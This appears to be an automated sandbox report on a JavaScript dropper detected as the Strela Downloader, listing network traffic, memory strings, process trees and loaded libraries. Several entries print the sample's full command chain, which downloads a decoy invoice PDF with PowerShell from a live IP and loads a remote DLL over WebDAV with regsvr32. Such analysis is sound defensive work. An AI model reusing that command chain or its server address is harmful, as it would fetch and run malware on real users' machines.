Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:51741 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1757254115.000002684DCDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1811951719.000002014F99B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1811787160.000002014F968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(
Source: net.exe, 00000006.00000003.1809039048.000002014F9BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1811212236.000002014F9C1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1812153045.000002014F9C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000006.00000002.1811787160.000002014F968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000008.00000002.3037031529.000001F8B88C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 00000008.00000002.3036829491.000001F8B8800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1811846044.000001F8B8A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1811846044.000001F8B8A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1811846044.000001F8B8A18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1811846044.000001F8B8A4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7532, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 270423757158192531.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htgwm1p0.ktx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1704,i,2841072177375575574,11582784445128380649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1704,i,2841072177375575574,11582784445128380649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
